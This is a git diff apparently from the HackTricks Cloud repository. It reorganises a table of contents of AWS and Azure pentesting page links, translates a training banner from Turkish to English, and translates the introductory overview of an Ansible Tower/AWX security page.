- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md)
|
||||
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md)
|
||||
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md)
|
||||
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md)
|
||||
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md)
|
||||
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md)
|
||||
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc/README.md)
|
||||
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc/README.md)
|
||||
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc/README.md)
|
||||
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc/README.md)
|
||||
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer/README.md)
|
||||
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc/README.md)
|
||||
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc/README.md)
|
||||
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc/README.md)
|
||||
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md)
|
||||
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md)
|
||||
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md)
|
||||
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc/README.md)
|
||||
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md)
|
||||
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc/README.md)
|
||||
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc/README.md)
|
||||
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc/README.md)
|
||||
- [AWS - Cognito Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-cognito-privesc.md)
|
||||
- [AWS - Datapipeline Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-datapipeline-privesc.md)
|
||||
- [AWS - Directory Services Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-directory-services-privesc.md)
|
||||
- [AWS - DynamoDB Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-dynamodb-privesc.md)
|
||||
- [AWS - EBS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ebs-privesc.md)
|
||||
- [AWS - EC2 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md)
|
||||
- [AWS - ECR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecr-privesc.md)
|
||||
- [AWS - ECS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc.md)
|
||||
- [AWS - EFS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc.md)
|
||||
- [AWS - Elastic Beanstalk Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc.md)
|
||||
- [AWS - EMR Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc.md)
|
||||
- [AWS - EventBridge Scheduler Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/eventbridgescheduler-privesc.md)
|
||||
- [AWS - Gamelift](pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift.md)
|
||||
- [AWS - Glue Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc.md)
|
||||
- [AWS - IAM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md)
|
||||
- [AWS - KMS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md)
|
||||
- [AWS - Lambda Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md)
|
||||
- [AWS - Lightsail Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md)
|
||||
- [AWS - Macie Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc.md)
|
||||
- [AWS - Mediapackage Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md)
|
||||
- [AWS - MQ Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md)
|
||||
- [AWS - MSK Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md)
|
||||
- [AWS - RDS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md)
|
||||
- [AWS - Redshift Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md)
|
||||
- [AWS - Route53 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/route53-createhostedzone-route53-changeresourcerecordsets-acm-pca-issuecertificate-acm-pca-getcer.md)
|
||||
- [AWS - SNS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sns-privesc.md)
|
||||
- [AWS - SQS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sqs-privesc.md)
|
||||
- [AWS - SSO & identitystore Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sso-and-identitystore-privesc.md)
|
||||
- [AWS - Organizations Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md)
|
||||
- [AWS - S3 Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc.md)
|
||||
- [AWS - Sagemaker Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md)
|
||||
- [AWS - Secrets Manager Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-secrets-manager-privesc.md)
|
||||
- [AWS - SSM Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc.md)
|
||||
- [AWS - Step Functions Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-stepfunctions-privesc.md)
|
||||
- [AWS - STS Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-sts-privesc.md)
|
||||
- [AWS - WorkDocs Privesc](pentesting-cloud/aws-security/aws-privilege-escalation/aws-workdocs-privesc.md)
|
||||
- [AWS - Services](pentesting-cloud/aws-security/aws-services/README.md)
|
||||
- [AWS - Security & Detection Services](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/README.md)
|
||||
- [AWS - CloudTrail Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-cloudtrail-enum.md)
|
||||
@@ -373,7 +335,6 @@
|
||||
- [AWS - Trusted Advisor Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md)
|
||||
- [AWS - WAF Enum](pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md)
|
||||
- [AWS - API Gateway Enum](pentesting-cloud/aws-security/aws-services/aws-api-gateway-enum.md)
|
||||
- [AWS - Bedrock Enum](pentesting-cloud/aws-security/aws-services/aws-bedrock-enum.md)
|
||||
- [AWS - Certificate Manager (ACM) & Private Certificate Authority (PCA)](pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md)
|
||||
- [AWS - CloudFormation & Codestar Enum](pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md)
|
||||
- [AWS - CloudHSM Enum](pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md)
|
||||
@@ -384,7 +345,7 @@
|
||||
- [Cognito User Pools](pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md)
|
||||
- [AWS - DataPipeline, CodePipeline & CodeCommit Enum](pentesting-cloud/aws-security/aws-services/aws-datapipeline-codepipeline-codebuild-and-codecommit.md)
|
||||
- [AWS - Directory Services / WorkDocs Enum](pentesting-cloud/aws-security/aws-services/aws-directory-services-workdocs-enum.md)
|
||||
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum/README.md)
|
||||
- [AWS - DocumentDB Enum](pentesting-cloud/aws-security/aws-services/aws-documentdb-enum.md)
|
||||
- [AWS - DynamoDB Enum](pentesting-cloud/aws-security/aws-services/aws-dynamodb-enum.md)
|
||||
- [AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md)
|
||||
- [AWS - Nitro Enum](pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md)
|
||||
@@ -409,7 +370,6 @@
|
||||
- [AWS - Redshift Enum](pentesting-cloud/aws-security/aws-services/aws-redshift-enum.md)
|
||||
- [AWS - Relational Database (RDS) Enum](pentesting-cloud/aws-security/aws-services/aws-relational-database-rds-enum.md)
|
||||
- [AWS - Route53 Enum](pentesting-cloud/aws-security/aws-services/aws-route53-enum.md)
|
||||
- [AWS - SageMaker Enum](pentesting-cloud/aws-security/aws-services/aws-sagemaker-enum/README.md)
|
||||
- [AWS - Secrets Manager Enum](pentesting-cloud/aws-security/aws-services/aws-secrets-manager-enum.md)
|
||||
- [AWS - SES Enum](pentesting-cloud/aws-security/aws-services/aws-ses-enum.md)
|
||||
- [AWS - SNS Enum](pentesting-cloud/aws-security/aws-services/aws-sns-enum.md)
|
||||
@@ -419,32 +379,31 @@
|
||||
- [AWS - STS Enum](pentesting-cloud/aws-security/aws-services/aws-sts-enum.md)
|
||||
- [AWS - Other Services Enum](pentesting-cloud/aws-security/aws-services/aws-other-services-enum.md)
|
||||
- [AWS - Unauthenticated Enum & Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md)
|
||||
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md)
|
||||
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md)
|
||||
- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md)
|
||||
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md)
|
||||
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md)
|
||||
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md)
|
||||
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md)
|
||||
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md)
|
||||
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum/README.md)
|
||||
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum/README.md)
|
||||
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum/README.md)
|
||||
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum/README.md)
|
||||
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum/README.md)
|
||||
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md)
|
||||
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum/README.md)
|
||||
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum/README.md)
|
||||
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access/README.md)
|
||||
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum/README.md)
|
||||
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum/README.md)
|
||||
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum/README.md)
|
||||
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum/README.md)
|
||||
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum/README.md)
|
||||
- [AWS - SageMaker Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md)
|
||||
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum/README.md)
|
||||
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum/README.md)
|
||||
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum/README.md)
|
||||
- [AWS - Accounts Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum.md)
|
||||
- [AWS - API Gateway Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md)
|
||||
- [AWS - Cloudfront Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md)
|
||||
- [AWS - Cognito Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md)
|
||||
- [AWS - CodeBuild Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md)
|
||||
- [AWS - DocumentDB Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md)
|
||||
- [AWS - DynamoDB Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md)
|
||||
- [AWS - EC2 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md)
|
||||
- [AWS - ECR Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md)
|
||||
- [AWS - ECS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md)
|
||||
- [AWS - Elastic Beanstalk Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elastic-beanstalk-unauthenticated-enum.md)
|
||||
- [AWS - Elasticsearch Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-elasticsearch-unauthenticated-enum.md)
|
||||
- [AWS - IAM & STS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iam-and-sts-unauthenticated-enum.md)
|
||||
- [AWS - Identity Center & SSO Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum.md)
|
||||
- [AWS - IoT Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-iot-unauthenticated-enum.md)
|
||||
- [AWS - Kinesis Video Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md)
|
||||
- [AWS - Lambda Unauthenticated Access](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md)
|
||||
- [AWS - Media Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-media-unauthenticated-enum.md)
|
||||
- [AWS - MQ Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md)
|
||||
- [AWS - MSK Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md)
|
||||
- [AWS - RDS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md)
|
||||
- [AWS - Redshift Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-redshift-unauthenticated-enum.md)
|
||||
- [AWS - SQS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md)
|
||||
- [AWS - SNS Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md)
|
||||
- [AWS - S3 Unauthenticated Enum](pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md)
|
||||
- [Azure Pentesting](pentesting-cloud/azure-security/README.md)
|
||||
- [Az - Basic Information](pentesting-cloud/azure-security/az-basic-information/README.md)
|
||||
- [Az Federation Abuse](pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md)
|
||||
@@ -464,7 +423,6 @@
|
||||
- [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md)
|
||||
- [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md)
|
||||
- [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md)
|
||||
- [Az - AI Foundry](pentesting-cloud/azure-security/az-services/az-ai-foundry.md)
|
||||
- [Az - Cloud Shell](pentesting-cloud/azure-security/az-services/az-cloud-shell.md)
|
||||
- [Az - Container Registry](pentesting-cloud/azure-security/az-services/az-container-registry.md)
|
||||
- [Az - Container Instances, Apps & Jobs](pentesting-cloud/azure-security/az-services/az-container-instances-apps-jobs.md)
|
||||
@@ -524,7 +482,6 @@
|
||||
- [Az - VMs & Network Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/az-vms-and-network-post-exploitation.md)
|
||||
- [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md)
|
||||
- [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md)
|
||||
- [Az - AI Foundry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-ai-foundry-privesc.md)
|
||||
- [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md)
|
||||
- [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md)
|
||||
- [Az - Container Registry Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-container-registry-privesc.md)
|
||||
|
||||
@@ -1,14 +1,18 @@
|
||||
> [!TIP]
|
||||
> AWS Hacking'i öğrenin ve pratik yapın:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> Azure Hacking'i öğrenin ve pratik yapın: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
> Learn & practice AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Learn & practice GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
|
||||
> Learn & practice Az Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
|
||||
>
|
||||
> <details>
|
||||
>
|
||||
> <summary>HackTricks'i Destekleyin</summary>
|
||||
> <summary>Support HackTricks</summary>
|
||||
>
|
||||
> - [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
|
||||
> - **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
|
||||
> - Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
> - **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
> - **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
>
|
||||
> </details>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
BIN
src/files/empty.zip
Normal file
BIN
src/files/empty.zip
Normal file
Binary file not shown.
BIN
src/pdfs/AWS_Services.pdf
Normal file
BIN
src/pdfs/AWS_Services.pdf
Normal file
Binary file not shown.
@@ -1,62 +1,63 @@
|
||||
# Ansible Tower / AWX / Automation controller Güvenliği
|
||||
# Ansible Tower / AWX / Automation controller Security
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Temel Bilgiler
|
||||
## Basic Information
|
||||
|
||||
**Ansible Tower** veya açık kaynak versiyonu [**AWX**](https://github.com/ansible/awx), **Ansible’ın kullanıcı arayüzü, kontrol paneli ve REST API'si** olarak da bilinir. **Rol tabanlı erişim kontrolü**, iş zamanlaması ve grafik envanter yönetimi ile Ansible altyapınızı modern bir UI'dan yönetebilirsiniz. Tower’ın REST API'si ve komut satırı arayüzü, mevcut araçlar ve iş akışlarına entegre etmeyi basit hale getirir.
|
||||
**Ansible Tower** or it's opensource version [**AWX**](https://github.com/ansible/awx) is also known as **Ansible’s user interface, dashboard, and REST API**. With **role-based access control**, job scheduling, and graphical inventory management, you can manage your Ansible infrastructure from a modern UI. Tower’s REST API and command-line interface make it simple to integrate it into current tools and workflows.
|
||||
|
||||
**Automation Controller, Ansible Tower'ın daha fazla yeteneğe sahip** daha yeni bir versiyonudur.
|
||||
**Automation Controller is a newer** version of Ansible Tower with more capabilities.
|
||||
|
||||
### Farklar
|
||||
### Differences
|
||||
|
||||
[**Bu**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00) kaynağa göre, Ansible Tower ile AWX arasındaki ana farklar alınan destek ve Ansible Tower'ın rol tabanlı erişim kontrolü, özel API'ler için destek ve kullanıcı tanımlı iş akışları gibi ek özelliklere sahip olmasıdır.
|
||||
According to [**this**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), the main differences between Ansible Tower and AWX is the received support and the Ansible Tower has additional features such as role-based access control, support for custom APIs, and user-defined workflows.
|
||||
|
||||
### Teknoloji Yığını
|
||||
### Tech Stack
|
||||
|
||||
- **Web Arayüzü**: Kullanıcıların envanterleri, kimlik bilgilerini, şablonları ve işleri yönetebileceği grafik arayüzdür. Anlaşılır olması için tasarlanmıştır ve otomasyon işlerinizi anlamaya yardımcı olacak görselleştirmeler sağlar.
|
||||
- **REST API**: Web arayüzünde yapabileceğiniz her şeyi REST API aracılığıyla da yapabilirsiniz. Bu, AWX/Tower'ı diğer sistemlerle entegre etmenizi veya arayüzde genellikle gerçekleştireceğiniz eylemleri betik haline getirmenizi sağlar.
|
||||
- **Veritabanı**: AWX/Tower, yapılandırmasını, iş sonuçlarını ve diğer gerekli operasyonel verileri depolamak için bir veritabanı (genellikle PostgreSQL) kullanır.
|
||||
- **RabbitMQ**: Bu, AWX/Tower'ın farklı bileşenler arasında, özellikle web hizmeti ile görev çalıştırıcıları arasında iletişim kurmak için kullandığı mesajlaşma sistemidir.
|
||||
- **Redis**: Redis, görev kuyruğu için bir önbellek ve arka uç olarak hizmet eder.
|
||||
- **Web Interface**: This is the graphical interface where users can manage inventories, credentials, templates, and jobs. It's designed to be intuitive and provides visualizations to help with understanding the state and results of your automation jobs.
|
||||
- **REST API**: Everything you can do in the web interface, you can also do via the REST API. This means you can integrate AWX/Tower with other systems or script actions that you'd typically perform in the interface.
|
||||
- **Database**: AWX/Tower uses a database (typically PostgreSQL) to store its configuration, job results, and other necessary operational data.
|
||||
- **RabbitMQ**: This is the messaging system used by AWX/Tower to communicate between the different components, especially between the web service and the task runners.
|
||||
- **Redis**: Redis serves as a cache and a backend for the task queue.
|
||||
|
||||
### Mantıksal Bileşenler
|
||||
### Logical Components
|
||||
|
||||
- **Envanterler**: Envanter, **işlerin** (Ansible playbook'ları) **çalıştırılabileceği** **hostlar (veya düğümler)** koleksiyonudur. AWX/Tower, envanterlerinizi tanımlamanıza ve gruplamanıza olanak tanır ve ayrıca AWS, Azure gibi diğer sistemlerden **host listelerini alabilen** dinamik envanterleri destekler.
|
||||
- **Projeler**: Bir proje, esasen bir **versiyon kontrol sistemi** (Git gibi) üzerinden kaynaklanan **Ansible playbook'ları** koleksiyonudur ve gerektiğinde en son playbook'ları çekmek için kullanılır.
|
||||
- **Şablonlar**: İş şablonları, belirli bir playbook'un **nasıl çalıştırılacağını** tanımlar, **envanter**, **kimlik bilgileri** ve iş için diğer **parametreleri** belirtir.
|
||||
- **Kimlik Bilgileri**: AWX/Tower, **SSH anahtarları, şifreler ve API jetonları** gibi gizli bilgileri **yönetmek ve depolamak** için güvenli bir yol sağlar. Bu kimlik bilgileri, playbook'ların çalıştığında gerekli erişime sahip olabilmesi için iş şablonlarıyla ilişkilendirilebilir.
|
||||
- **Görev Motoru**: Burası sihrin gerçekleştiği yerdir. Görev motoru, Ansible üzerine inşa edilmiştir ve **playbook'ları çalıştırmaktan** sorumludur. İşler, görev motoruna yönlendirilir ve ardından belirtilen envanter üzerinde belirtilen kimlik bilgileri kullanılarak Ansible playbook'ları çalıştırılır.
|
||||
- **Zamanlayıcılar ve Geri Çağırmalar**: Bunlar, AWX/Tower'da belirli zamanlarda çalıştırılmak üzere **işlerin zamanlanmasına** veya dış olaylar tarafından tetiklenmesine olanak tanıyan gelişmiş özelliklerdir.
|
||||
- **Bildirimler**: AWX/Tower, işlerin başarısına veya başarısızlığına dayalı olarak bildirimler gönderebilir. E-postalar, Slack mesajları, web kancaları gibi çeşitli bildirim yöntemlerini destekler.
|
||||
- **Ansible Playbook'ları**: Ansible playbook'ları, yapılandırma, dağıtım ve orkestrasyon araçlarıdır. Sistemlerin istenen durumunu otomatik, tekrarlanabilir bir şekilde tanımlar. YAML ile yazılmıştır ve playbook'lar, yapılandırmaları, görevleri ve yürütülmesi gereken adımları tanımlamak için Ansible'ın deklaratif otomasyon dilini kullanır.
|
||||
- **Inventories**: An inventory is a **collection of hosts (or nodes)** against which **jobs** (Ansible playbooks) can be **run**. AWX/Tower allows you to define and group your inventories and also supports dynamic inventories which can **fetch host lists from other systems** like AWS, Azure, etc.
|
||||
- **Projects**: A project is essentially a **collection of Ansible playbooks** sourced from a **version control system** (like Git) to pull the latest playbooks when needed..
|
||||
